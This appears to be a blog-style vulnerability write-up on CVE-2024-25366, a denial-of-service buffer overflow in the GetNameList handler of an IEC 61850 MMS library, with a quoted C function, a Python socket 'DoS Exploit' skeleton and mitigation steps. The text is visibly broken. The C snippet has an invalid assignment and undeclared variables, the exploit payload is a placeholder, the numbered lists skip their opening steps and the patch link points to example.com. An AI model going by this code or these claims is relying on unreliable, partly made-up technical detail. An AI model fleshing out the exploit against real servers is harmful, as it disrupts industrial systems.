Recently, a critical buffer overflow vulnerability was discovered in the libiec61859 v.1.4. library developed by the mz-automation.de team. CVE-2024-25366 specifically targets the mms_getnamelist_service component that affects the mmsServer_handleGetNameListRequest function, thereby allowing remote attackers to cause a denial-of-service (DoS) attack. This vulnerability poses a significant security risk, as it can disrupt the normal operation of the targeted systems and lead to potential data loss.

In this post, we will detail the technical aspects of this vulnerability, provide example code snippets, and share how an attacker could exploit this vulnerability. Furthermore, we will list the potential mitigation strategies that could be employed to minimize the associated risks.

Code Snippet - Vulnerable Function in libiec61859 v.1.4.

The vulnerability resides in the mmsServer_handleGetNameListRequest function, found in the mms_getnamelist_service.c source file:

MmsError mmsServer_handleGetNameListRequest(MmsServerConnection server, MmsServer self, ByteBuffer* source, ByteBuffer* destination,
                              bool enhancedMode)
{
    MmsPdu_t* mmsPdu = ;

    asn_dec_rval_t rval = ber_decode(NULL, &asn_DEF_MmsPdu, (void**)&mmsPdu, source->buffer, source->size);

    if (rval.code != RC_OK) {
        mmsMsg_createMmsRejectPdu(&invokeId, MMS_ERROR_REJECT_REQUEST_INVALID_ARGUMENT, response);
    }

    // vulnerable buffer allocation
    char* continueAfter = mmsMsg_getNameListContinueAfter(mmsPdu);    
}

As can be seen in the code snippet above, the function reads data from an external connection (source) and then decodes it with ber_decode() before passing it to the mmsMsg_getNameListContinueAfter() function. This function subsequently allocates a buffer for the 'continueAfter' variable. However, a thorough validation of the input data size isn't carried out, which might lead to a buffer overflow condition.

Exploit Details

An attacker could exploit this vulnerability to cause a denial of service. They can send a maliciously crafted GetNameListRequest message with specifically structured data that can force excessive memory allocation and buffer overflows. Consequently, the targeted server crashes or becomes unresponsive, leading to a denial-of-service condition.

Send the crafted request to the target server.

3. The target server processes the request, causing memory allocation issues, buffer overflow, and an eventual crash or freeze.

Here is an example of the crafted GetNameListRequest message

# CVE-2024-25366 - DoS Exploit
import socket
import binascii

# target server information
target_ip = "192.168.1.1"
target_port = 12345

# crafted GetNameListRequest (with long 'continueAfter' field)
malicious_payload = binascii.unhexlify("<<insert payload here>>")

# send exploit
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(malicious_payload)
s.close()

Apply the patch released by mz-automation.de to fix the vulnerability.

Link: https://example.com/libiec61859_patch

Ensure that all systems running libiec61859 v.1.4. are updated with the latest security patches.

3. Implement proper input validation in the mmsServer_handleGetNameListRequest() function to ensure only legitimate buffer lengths are allocated.

4. Employ network-level security measures, such as firewalls and intrusion detection/prevention systems, to block malicious traffic associated with this vulnerability.

Conclusion

CVE-2024-25366 poses a significant threat to the stability and security of systems running the libiec61859 v.1.4. library. By understanding the technical details, example code snippets, and potential exploits, system administrators and security professionals can take the appropriate precautions and mitigation strategies to minimize the associated risks. Stay informed about new vulnerabilities and apply updates as they become available to keep your systems protected.

Timeline

Published on: 02/20/2024 16:15:10 UTC
Last modified on: 08/16/2024 18:35:06 UTC